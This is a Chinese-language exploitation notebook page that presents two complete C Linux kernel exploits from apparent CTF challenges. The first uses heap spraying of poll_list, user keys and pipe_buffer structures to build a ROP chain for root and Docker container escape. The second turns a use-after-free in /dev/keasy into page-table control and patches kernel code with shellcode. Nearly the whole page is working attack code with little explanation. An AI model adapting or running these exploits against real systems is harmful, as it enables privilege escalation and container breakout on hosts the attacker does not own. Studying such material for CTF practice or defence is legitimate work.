> For the complete documentation index, see [llms.txt](https://lightc.gitbook.io/pwn-gitbook/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://lightc.gitbook.io/pwn-gitbook/kpwn/kpwn-tricks/wan-zheng-li-yong-dai-ma.md).

# 完整利用代码

第一部分没有什么特别之处。我们使用栈迁移小工具劫持控制流\[1]，然后通过 prepare\_kernel\_cred()\[2]和 commit\_creds()\[3]提升权限，接着利用 find\_task\_by\_vpid()\[4]定位 Docker 容器任务，并使用 switch\_task\_namespaces()\[5]将其 nsproxy 结构替换为 init\_nsproxy。

在 Docker 容器中，与 Google 的 kCTF 不同，setns() 默认被 seccomp 阻止，这意味着我们无法在返回用户空间后使用它进入其他命名空间。

阅读 setns() 的源代码，我们可以看到它调用了 commit\_nsset() 来实际将任务移动到不同的命名空间。我们可以通过使用 copy\_fs\_struct() 克隆 init\_fs 结构来复制其功能 \[6]，然后使用 `find_task_by_vpid()` 定位当前任务 \[7]，并利用写-写-哪里（write-what-where）小工具手动安装新的 fs\_struct。\[8]

最后，我们可以使用带有 `swapgs_restore_regs_and_return_to_usermode` 的 KPTI 蹦床（trampoline）在宿主机上获取 shell。

完整代码代码如下

```c
#define _GNU_SOURCE

#include <endian.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sched.h>
#include <poll.h>
#include <pthread.h>
#include <keyutils.h>

#include <sys/ioctl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/resource.h>
#include <sys/prctl.h>
#include <sys/shm.h>
#include <sys/xattr.h>

#include <linux/rtnetlink.h>
#include <linux/capability.h>
#include <linux/genetlink.h>
#include <linux/pfkeyv2.h>
#include <linux/xfrm.h>

#include <net/if.h>
#include <arpa/inet.h>

// #define DEBUG 1

#ifdef DEBUG
#define debug(...) printf(__VA_ARGS__)
#else
#define debug(...) do {} while (0)
#endif

#define HEAP_MASK 0xffff000000000000
#define KERNEL_MASK 0xffffffff00000000

#define PAGE_SIZE 4096
#define MAX_KEYS 199
#define N_STACK_PPS 30
#define POLLFD_PER_PAGE 510
#define POLL_LIST_SIZE 16

#define NFDS(size) (((size - POLL_LIST_SIZE) / sizeof(struct pollfd)) + N_STACK_PPS);

pthread_t poll_tid[0x1000];
size_t poll_threads;
pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER;

uint64_t usr_cs, usr_ss, usr_rflags;
uint64_t proc_single_show;
uint64_t target_object;
uint64_t kernel_base;

int pipes[0x1000][2];
int seq_ops[0x10000];
int ptmx[0x1000];
int fds[0x1000];
int keys[0x1000];
int corrupted_key;
int n_keys;
int fd;
int s;


struct t_args
{
    int id;
    int nfds;
    int timer;
    bool suspend;
};


struct rcu_head
{
    void *next;
    void *func;
};


struct user_key_payload
{
    struct rcu_head rcu;
    unsigned short	datalen;
    char *data[];
};


struct poll_list
{
    struct poll_list *next;
    int len;
    struct pollfd entries[];
};



bool is_kernel_pointer(uint64_t addr)
{
    return ((addr & KERNEL_MASK) == KERNEL_MASK) ? true : false;
}


bool is_heap_pointer(uint64_t addr)
{
    return (((addr & HEAP_MASK) == HEAP_MASK) && !is_kernel_pointer(addr)) ? true : false;
}


void __pause(char *msg)
{
    printf("[-] Paused - %s\n", msg);
    getchar();
}


void save_state()
{
    __asm__ __volatile__(
        "movq %0, cs;"
        "movq %1, ss;"
        "pushfq;"
        "popq %2;"
        : "=r" (usr_cs), "=r" (usr_ss), "=r" (usr_rflags) : : "memory" );
}


int randint(int min, int max)
{
    return min + (rand() % (max - min));
}


void assign_to_core(int core_id)
{
    cpu_set_t mask;

    CPU_ZERO(&mask);
    CPU_SET(core_id, &mask);

    if (sched_setaffinity(getpid(), sizeof(mask), &mask) < 0)
    {
        perror("[X] sched_setaffinity()");
        exit(1);
    }
}


void assign_thread_to_core(int core_id)
{
    cpu_set_t mask;

    CPU_ZERO(&mask);
    CPU_SET(core_id, &mask);

    if (pthread_setaffinity_np(pthread_self(), sizeof(mask), &mask) < 0)
    {
        perror("[X] assign_thread_to_core_range()");
        exit(1);
    }
}


void init_fd(int i)
{
    fds[i] = open("/etc/passwd", O_RDONLY);

    if (fds[i] < 1)
    {
        perror("[X] init_fd()");
        exit(1);
    }
}


void *alloc_poll_list(void *args)
{
    struct pollfd *pfds;
    int nfds, timer, id;
    bool suspend;

    id    = ((struct t_args *)args)->id;
    nfds  = ((struct t_args *)args)->nfds;
    timer = ((struct t_args *)args)->timer;
    suspend = ((struct t_args *)args)->suspend;

    pfds = calloc(nfds, sizeof(struct pollfd));

    for (int i = 0; i < nfds; i++)
    {
        pfds[i].fd = fds[0];
        pfds[i].events = POLLERR;
    }

    assign_thread_to_core(0);

    pthread_mutex_lock(&mutex);
    poll_threads++;
    pthread_mutex_unlock(&mutex);

    debug("[Thread %d] Start polling...\n", id);
    int ret = poll(pfds, nfds, timer);
    debug("[Thread %d] Polling complete: %d!\n", id, ret);
    
    assign_thread_to_core(randint(1, 3));

    if (suspend)
    {   
        debug("[Thread %d] Suspending thread...\n", id);

        pthread_mutex_lock(&mutex);
        poll_threads--;
        pthread_mutex_unlock(&mutex);

        while (1) { };
    }
        
}


void create_poll_thread(int id, size_t size, int timer, bool suspend)
{
    struct t_args *args;

    args = calloc(1, sizeof(struct t_args));

    if (size > PAGE_SIZE)
        size = size - ((size/PAGE_SIZE) * sizeof(struct poll_list));

    args->id = id;
    args->nfds = NFDS(size);
    args->timer = timer;
    args->suspend = suspend;

    pthread_create(&poll_tid[id], 0, alloc_poll_list, (void *)args);
}


void join_poll_threads(void)
{
    for (int i = 0; i < poll_threads; i++)
    {
        pthread_join(poll_tid[i], NULL);
        open("/proc/self/stat", O_RDONLY);
    }
        
    poll_threads = 0;
}


int alloc_key(int id, char *buff, size_t size)
{
	char desc[256] = { 0 };
    char *payload;
    int key;

    size -= sizeof(struct user_key_payload);

    sprintf(desc, "payload_%d", id);

    payload = buff ? buff : calloc(1, size);

    if (!buff)
        memset(payload, id, size);    

    key = add_key("user", desc, payload, size, KEY_SPEC_PROCESS_KEYRING);

    if (key < 0)
	{
		perror("[X] add_key()");
		return -1;
	}
    	
    return key;
}


void free_key(int i)
{
	keyctl_revoke(keys[i]);
	keyctl_unlink(keys[i], KEY_SPEC_PROCESS_KEYRING);
    n_keys--;
}


void free_all_keys(bool skip_corrupted_key)
{
    for (int i = 0; i < n_keys; i++)
    {   
        if (skip_corrupted_key && i == corrupted_key)
            continue;

        free_key(i);
    }

    sleep(1); // GC keys
}


char *get_key(int i, size_t size)
{
	char *data;

	data = calloc(1, size);
	keyctl_read(keys[i], data, size);

	return data;
}


void alloc_pipe_buff(int i)
{
    if (pipe(pipes[i]) < 0)
    {
        perror("[X] alloc_pipe_buff()");
        return;
    }

    if (write(pipes[i][1], "XXXXX", 5) < 0)
    {
        perror("[X] alloc_pipe_buff()");
        return;
    }
}


void release_pipe_buff(int i)
{
    if (close(pipes[i][0]) < 0)
    {
        perror("[X] release_pipe_buff()");
        return;
    }

    if (close(pipes[i][1]) < 0)
    {
        perror("[X] release_pipe_buff()");
        return;
    }
}


void alloc_tty(int i)
{
    ptmx[i] = open("/dev/ptmx", O_RDWR | O_NOCTTY);

    if (ptmx[i] < 0)
    {
        perror("[X] alloc_tty()");
        exit(1);
    }
}


void free_tty(int i)
{
    close(ptmx[i]);
}


void alloc_seq_ops(int i)
{
    seq_ops[i] = open("/proc/self/stat", O_RDONLY);

    if (seq_ops[i] < 0)
    {
        perror("[X] spray_seq_ops()");
        exit(1);
    }
}


void free_seq_ops(int i)
{
    close(seq_ops[i]);
}


int leak_kernel_pointer(void)
{
    uint64_t *leak;
    char *key;

    for (int i = 0; i < n_keys; i++)
    {
        key = get_key(i, 0x10000);
        leak = (uint64_t *)key;

        if (is_kernel_pointer(*leak) && (*leak & 0xfff) == 0x5c0)
        {
            corrupted_key = i;
            proc_single_show = *leak;
            kernel_base = proc_single_show - 0xffffffff813275c0;

            printf("[+] Corrupted key found: keys[%d]!\n", corrupted_key);
            printf("[+] Leaked proc_single_show address: 0x%llx\n", proc_single_show);
            printf("[+] Kernel base address: 0x%llx\n", kernel_base + 0xffffffff00000000);
            
            return 0;
        }
    }

    return -1;
}


int leak_heap_pointer(int kid)
{
    uint64_t *leak;
    char *key;

    key = get_key(kid, 0x20000);
    leak = (uint64_t *)key;

    for (int i = 0; i < 0x20000/sizeof(uint64_t); i++)
    {
        if (is_heap_pointer(leak[i]) && (leak[i] & 0xff) == 0x00)
        {   
            if (leak[i + 2] == leak[i + 3] && leak[i + 2] != 0)
            {
                target_object = leak[i];
                printf("[+] Leaked kmalloc-1024 object: 0x%llx\n", target_object);
                return 0;
            }
        }
    }

    return -1;
}


bool check_root()
{
	int fd;
    
    if ((fd = open("/etc/shadow", O_RDONLY)) < 0)
        return false;
        
    close(fd);
    
    return true;
}


void win(void)
{
    if (check_root())
    {
        puts("[+] We are Ro0ot!");
        char *args[] = { "/bin/bash", "-i", NULL };
        execve(args[0], args, NULL);
    }
}


int main(int argc, char **argv)
{   
    char data[0x1000] = { 0 };
    char key[32] = { 0 };
    uint64_t *rop;
    void *stack;
    char *buff;

    assign_to_core(0);
    save_state();

    stack = mmap((void *)0xdead000, 0x10000, PROT_READ|PROT_WRITE, MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);
    fd = open("/proc_rw/cormon", O_RDWR);
    
    if (fd < 0)
    {
        perror("[X] open()");
        return -1;
    }

    init_fd(0);

    puts("[*] Saturating kmalloc-32 partial slabs...");
    for (int i = 0; i < 2048; i++)
        alloc_seq_ops(i);

    puts("[*] Spraying user keys in kmalloc-32...");
    for (int i = 0; i < 72; i++)
    {   
        setxattr("/home/user/.bashrc", "user.x", data, 32, XATTR_CREATE);
        keys[i] = alloc_key(n_keys++, key, 32);
    }
    
    assign_to_core(randint(1, 3));
    
    puts("[*] Creating poll threads...");
    for (int i = 0; i < 14; i++)
        create_poll_thread(i, 4096 + 24, 3000, false);

    assign_to_core(0);

    while (poll_threads != 14) { };
    usleep(250000);

    puts("[*] Spraying more user keys in kmalloc-32...");
    for (int i = 72; i < MAX_KEYS; i++)
    {
        setxattr("/home/user/.bashrc", "user.x", data, 32, XATTR_CREATE);
        keys[i] = alloc_key(n_keys++, key, 32);
    }

    puts("[*] Corrupting poll_list next pointer...");
    write(fd, data, PAGE_SIZE);

    puts("[*] Triggering arbitrary free...");
    join_poll_threads();

    puts("[*] Overwriting user key size / Spraying seq_operations structures...");
    for (int i = 2048; i < 2048 + 128; i++)
        alloc_seq_ops(i);

    puts("[*] Leaking kernel pointer...");
    if (leak_kernel_pointer() < 0)
    {
        puts("[X] Kernel pointer leak failed, try again...");
        exit(1);
    }
    
    puts("[*] Freeing user keys...");
    free_all_keys(true);

    puts("[*] Spraying tty_file_private / tty_struct structures...");
    for (int i = 0; i < 72; i++)
        alloc_tty(i);

    puts("[*] Leaking heap pointer...");
    if (leak_heap_pointer(corrupted_key) < 0)
    {
        puts("[X] Heap pointer leak failed, try again...");
        exit(1);
    }

    puts("[*] Freeing seq_operation structures...");
    for (int i = 2048; i < 2048 + 128; i++)
        free_seq_ops(i);
    
    assign_to_core(randint(1, 3));

    puts("[*] Creating poll threads...");
    for (int i = 0; i < 192; i++)
        create_poll_thread(i, 24, 3000, true);

    assign_to_core(0);
    
    while (poll_threads != 192) { }; 
    usleep(250000);

    puts("[*] Freeing corrupted key...");
    free_key(corrupted_key);
    sleep(1); // GC key

    puts("[*] Overwriting poll_list next pointer...");
    *(uint64_t *)&data[0] = target_object - 0x18;

    for (int i = 0; i < MAX_KEYS; i++)
    {
        setxattr("/home/user/.bashrc", "user.x", data, 32, XATTR_CREATE);
        keys[i] = alloc_key(n_keys++, key, 32);
    }

    puts("[*] Freeing tty_struct structures...");
    for (int i = 0; i < 72; i++)
        free_tty(i);

    sleep(1); // GC TTYs

    puts("[*] Spraying pipe_buffer structures...");
    for (int i = 0; i < 1024; i++)
        alloc_pipe_buff(i);

    puts("[*] Triggering arbitrary free...");
    while (poll_threads != 0) { };

    buff = (char *)calloc(1, 1024);

    // Stack pivot
    *(uint64_t *)&buff[0x10] = target_object + 0x30;             // anon_pipe_buf_ops
    *(uint64_t *)&buff[0x38] = kernel_base + 0xffffffff81882840; // push rsi ; in eax, dx ; jmp qword ptr [rsi + 0x66]
    *(uint64_t *)&buff[0x66] = kernel_base + 0xffffffff810007a9; // pop rsp ; ret
    *(uint64_t *)&buff[0x00] = kernel_base + 0xffffffff813c6b78; // add rsp, 0x78 ; ret

    // ROP
    rop = (uint64_t *)&buff[0x80];

    // creds = prepare_kernel_cred(0)
    *rop ++= kernel_base + 0xffffffff81001618; // pop rdi ; ret
    *rop ++= 0;                                // 0
    *rop ++= kernel_base + 0xffffffff810ebc90; // prepare_kernel_cred

    // commit_creds(creds)
    *rop ++= kernel_base + 0xffffffff8101f5fc; // pop rcx ; ret
    *rop ++= 0;                                // 0
    *rop ++= kernel_base + 0xffffffff81a05e4b; // mov rdi, rax ; rep movsq qword ptr [rdi], qword ptr [rsi] ; ret
    *rop ++= kernel_base + 0xffffffff810eba40; // commit_creds

    // task = find_task_by_vpid(1)
    *rop ++= kernel_base + 0xffffffff81001618; // pop rdi ; ret
    *rop ++= 1;                                // pid
    *rop ++= kernel_base + 0xffffffff810e4fc0; // find_task_by_vpid

    // switch_task_namespaces(task, init_nsproxy)
    *rop ++= kernel_base + 0xffffffff8101f5fc; // pop rcx ; ret
    *rop ++= 0;                                // 0
    *rop ++= kernel_base + 0xffffffff81a05e4b; // mov rdi, rax ; rep movsq qword ptr [rdi], qword ptr [rsi] ; ret
    *rop ++= kernel_base + 0xffffffff8100051c; // pop rsi ; ret
    *rop ++= kernel_base + 0xffffffff8245a720; // init_nsproxy;
    *rop ++= kernel_base + 0xffffffff810ea4e0; // switch_task_namespaces

    // new_fs = copy_fs_struct(init_fs)
    *rop ++= kernel_base + 0xffffffff81001618; // pop rdi ; ret
    *rop ++= kernel_base + 0xffffffff82589740; // init_fs;
    *rop ++= kernel_base + 0xffffffff812e7350; // copy_fs_struct;
    *rop ++= kernel_base + 0xffffffff810e6cb7; // push rax ; pop rbx ; ret

    // current = find_task_by_vpid(getpid())
    *rop ++= kernel_base + 0xffffffff81001618; // pop rdi ; ret
    *rop ++= getpid();                         // pid
    *rop ++= kernel_base + 0xffffffff810e4fc0; // find_task_by_vpid

    // current->fs = new_fs
    *rop ++= kernel_base + 0xffffffff8101f5fc; // pop rcx ; ret
    *rop ++= 0x6e0;                            // current->fs
    *rop ++= kernel_base + 0xffffffff8102396f; // add rax, rcx ; ret
    *rop ++= kernel_base + 0xffffffff817e1d6d; // mov qword ptr [rax], rbx ; pop rbx ; ret
    *rop ++= 0;                                // rbx

    // kpti trampoline
    *rop ++= kernel_base + 0xffffffff81c00ef0 + 22; // swapgs_restore_regs_and_return_to_usermode + 22
    *rop ++= 0;
    *rop ++= 0;
    *rop ++= (uint64_t)&win;
    *rop ++= usr_cs;
    *rop ++= usr_rflags;
    *rop ++= (uint64_t)(stack + 0x5000);
    *rop ++= usr_ss;

    puts("[*] Freeing user keys...");
    free_all_keys(false);

    puts("[*] Spraying ROP chain...");
    for (int i = 0; i < 31; i++)
        keys[i] = alloc_key(n_keys++, buff, 600);

    puts("[*] Hijacking control flow...");
    for (int i = 0; i < 1024; i++)
        release_pipe_buff(i);

    // --- 

    for (int i = 0; i < 256; i++)
        pthread_join(poll_tid[i], NULL);
}

```

完整的如下

```c
#define _GNU_SOURCE
#include <fcntl.h>
#include <sched.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <unistd.h>
#define N_PAGESPRAY 0x200
#define N_FILESPRAY 0x100
#define DMA_HEAP_IOCTL_ALLOC 0xc0184800
typedef unsigned long long u64;
typedef unsigned int u32;
struct dma_heap_allocation_data {
  u64 len;
  u32 fd;
  u32 fd_flags;
  u64 heap_flags;
};
void fatal(const char *msg) {
  perror(msg);
  exit(1);
}
void bind_core(int core) {
  cpu_set_t cpu_set;
  CPU_ZERO(&cpu_set);
  CPU_SET(core, &cpu_set);
  sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
}
unsigned long user_cs, user_ss, user_rsp, user_rflags;
static void save_state() {
  asm(
      "movq %%cs, %0\n"
      "movq %%ss, %1\n"
      "movq %%rsp, %2\n"
      "pushfq\n"
      "popq %3\n"
      : "=r"(user_cs), "=r"(user_ss), "=r"(user_rsp), "=r"(user_rflags)
      :
      : "memory");
}
int fd, dmafd, ezfd = -1;
static void win() {
  char buf[0x100];
  int fd = open("/dev/sda", O_RDONLY);
  if (fd < 0) {
    puts("[-] Lose...");
  } else {
    puts("[+] Win!");
    read(fd, buf, 0x100);
    write(1, buf, 0x100);
    puts("[+] Done");
  }
  exit(0);
}
int main() {
  int file_spray[N_FILESPRAY];
  void *page_spray[N_PAGESPRAY];
  /**
   * 1. Setup
   */
  // Pin CPU (important!)
  bind_core(0);
  save_state();
  // Open vulnerable device
  int fd = open("/dev/keasy", O_RDWR);
  if (fd == -1)
    fatal("/dev/keasy");
  // Open DMA-BUF
  int dmafd = creat("/dev/dma_heap/system", O_RDWR);
  if (dmafd == -1)
    fatal("/dev/dma_heap/system");
  // Prepare pages (PTE not allocated at this moment)
  for (int i = 0; i < N_PAGESPRAY; i++) {
    page_spray[i] = mmap((void*)(0xdead0000UL + i*0x10000UL),
                         0x8000, PROT_READ|PROT_WRITE,
                         MAP_ANONYMOUS|MAP_SHARED, -1, 0);
    if (page_spray[i] == MAP_FAILED) fatal("mmap");
  }
  /**
   * 2. Release the page where dangling file points
   */
  puts("[+] Spraying files...");
  // Spray file (1)
  for (int i = 0; i < N_FILESPRAY/2; i++)
    if ((file_spray[i] = open("/", O_RDONLY)) < 0) fatal("/");
  // Get dangling file descriptorz
  int ezfd = file_spray[N_FILESPRAY/2-1] + 1;
  if (ioctl(fd, 0, 0xdeadbeef) == 0) // Use-after-Free
    fatal("ioctl did not fail");
  // Spray file (2)
  for (int i = N_FILESPRAY/2; i < N_FILESPRAY; i++)
    if ((file_spray[i] = open("/", O_RDONLY)) < 0) fatal("/");
  puts("[+] Releasing files...");
  // Release the page for file slab cache
  for (int i = 0; i < N_FILESPRAY; i++)
    close(file_spray[i]);
  /**
   * 3. Overlap UAF file with PTE
   */
  puts("[+] Allocating PTEs...");
  // Allocate many PTEs (1)
  for (int i = 0; i < N_PAGESPRAY/2; i++)
    for (int j = 0; j < 8; j++)
      *(char*)(page_spray[i] + j*0x1000) = 'A' + j;
  // Allocate DMA-BUF heap
  int dma_buf_fd = -1;
  struct dma_heap_allocation_data data;
  data.len = 0x1000;
  data.fd_flags = O_RDWR;
  data.heap_flags = 0;
  data.fd = 0;
  if (ioctl(dmafd, DMA_HEAP_IOCTL_ALLOC, &data) < 0)
    fatal("DMA_HEAP_IOCTL_ALLOC");
  printf("[+] dma_buf_fd: %d\n", dma_buf_fd = data.fd);
  // Allocate many PTEs (2)
  for (int i = N_PAGESPRAY/2; i < N_PAGESPRAY; i++)
    for (int j = 0; j < 8; j++)
      *(char*)(page_spray[i] + j*0x1000) = 'A' + j;
  /**
   * 4. Modify PTE entry to overlap 2 physical pages
   */
  // Increment physical address
  for (int i = 0; i < 0x1000; i++)
    if (dup(ezfd) < 0)
      fatal("dup");
  puts("[+] Searching for overlapping page...");
  // Search for page that overlaps with other physical page
  void *evil = NULL;
  for (int i = 0; i < N_PAGESPRAY; i++) {
    // We wrote 'H'(='A'+7) but if it changes the PTE overlaps with the file
    if (*(char*)(page_spray[i] + 7*0x1000) != 'A' + 7) { // +38h: f_count
      evil = page_spray[i] + 0x7000;
      printf("[+] Found overlapping page: %p\n", evil);
      break;
    }
  }
  if (evil == NULL) fatal("target not found :(");
  // Place PTE entry for DMA buffer onto controllable PTE
  puts("[+] Remapping...");
  munmap(evil, 0x1000);
  void *dmabuf = mmap(evil, 0x1000, PROT_READ | PROT_WRITE,
                   MAP_SHARED | MAP_POPULATE, dma_buf_fd, 0);
  *(char*)dmabuf = '0';
  /**
   * Get physical AAR/AAW
   */
  // Corrupt physical address of DMA-BUF
  for (int i = 0; i < 0x1000; i++)
    if (dup(ezfd) < 0)
      fatal("dup");
  printf("[+] DMA-BUF now points to PTE: 0x%016lx\n", *(size_t*)dmabuf);
  // Leak kernel physical base
  void *wwwbuf = NULL;
  *(size_t*)dmabuf = 0x800000000009c067;
  for (int i = 0; i < N_PAGESPRAY; i++) {
    if (page_spray[i] == evil) continue;
    if (*(size_t*)page_spray[i] > 0xffff) {
      wwwbuf = page_spray[i];
      printf("[+] Found victim page table: %p\n", wwwbuf);
      break;
    }
  }
  size_t phys_base = ((*(size_t*)wwwbuf) & ~0xfff) - 0x1c04000;
  printf("[+] Physical kernel base address: 0x%016lx\n", phys_base);
  /**
   * Overwrite setxattr
   */
  puts("[+] Overwriting do_symlinkat...");
  size_t phys_func = phys_base + 0x24d4c0;
  *(size_t*)dmabuf = (phys_func & ~0xfff) | 0x8000000000000067;
  char shellcode[] = {0xf3, 0x0f, 0x1e, 0xfa, 0xe8, 0x00, 0x00, 0x00, 0x00, 0x41, 0x5f, 0x49, 0x81, 0xef, 0xc9, 0xd4, 0x24, 0x00, 0x49, 0x8d, 0xbf, 0xd8, 0x5e, 0x44, 0x01, 0x49, 0x8d, 0x87, 0x20, 0xe6, 0x0a, 0x00, 0xff, 0xd0, 0xbf, 0x01, 0x00, 0x00, 0x00, 0x49, 0x8d, 0x87, 0x50, 0x37, 0x0a, 0x00, 0xff, 0xd0, 0x48, 0x89, 0xc7, 0x49, 0x8d, 0xb7, 0xe0, 0x5c, 0x44, 0x01, 0x49, 0x8d, 0x87, 0x40, 0xc1, 0x0a, 0x00, 0xff, 0xd0, 0x49, 0x8d, 0xbf, 0x48, 0x82, 0x53, 0x01, 0x49, 0x8d, 0x87, 0x90, 0xf8, 0x27, 0x00, 0xff, 0xd0, 0x48, 0x89, 0xc3, 0x48, 0xbf, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x49, 0x8d, 0x87, 0x50, 0x37, 0x0a, 0x00, 0xff, 0xd0, 0x48, 0x89, 0x98, 0x40, 0x07, 0x00, 0x00, 0x31, 0xc0, 0x48, 0x89, 0x04, 0x24, 0x48, 0x89, 0x44, 0x24, 0x08, 0x48, 0xb8, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x48, 0x89, 0x44, 0x24, 0x10, 0x48, 0xb8, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x48, 0x89, 0x44, 0x24, 0x18, 0x48, 0xb8, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x48, 0x89, 0x44, 0x24, 0x20, 0x48, 0xb8, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x48, 0x89, 0x44, 0x24, 0x28, 0x48, 0xb8, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x48, 0x89, 0x44, 0x24, 0x30, 0x49, 0x8d, 0x87, 0x41, 0x0f, 0xc0, 0x00, 0xff, 0xe0, 0xcc};
  void *p;
  p = memmem(shellcode, sizeof(shellcode), "\x11\x11\x11\x11\x11\x11\x11\x11", 8);
  *(size_t*)p = getpid();
  p = memmem(shellcode, sizeof(shellcode), "\x22\x22\x22\x22\x22\x22\x22\x22", 8);
  *(size_t*)p = (size_t)&win;
  p = memmem(shellcode, sizeof(shellcode), "\x33\x33\x33\x33\x33\x33\x33\x33", 8);
  *(size_t*)p = user_cs;
  p = memmem(shellcode, sizeof(shellcode), "\x44\x44\x44\x44\x44\x44\x44\x44", 8);
  *(size_t*)p = user_rflags;
  p = memmem(shellcode, sizeof(shellcode), "\x55\x55\x55\x55\x55\x55\x55\x55", 8);
  *(size_t*)p = user_rsp;
  p = memmem(shellcode, sizeof(shellcode), "\x66\x66\x66\x66\x66\x66\x66\x66", 8);
  *(size_t*)p = user_ss;
  memcpy(wwwbuf + (phys_func & 0xfff), shellcode, sizeof(shellcode));
  puts("[+] GO!GO!");
  printf("%d\n", symlink("/jail/x", "/jail"));
  puts("[-] Failed...");
  close(fd);
  getchar();
  return 0;
}
```
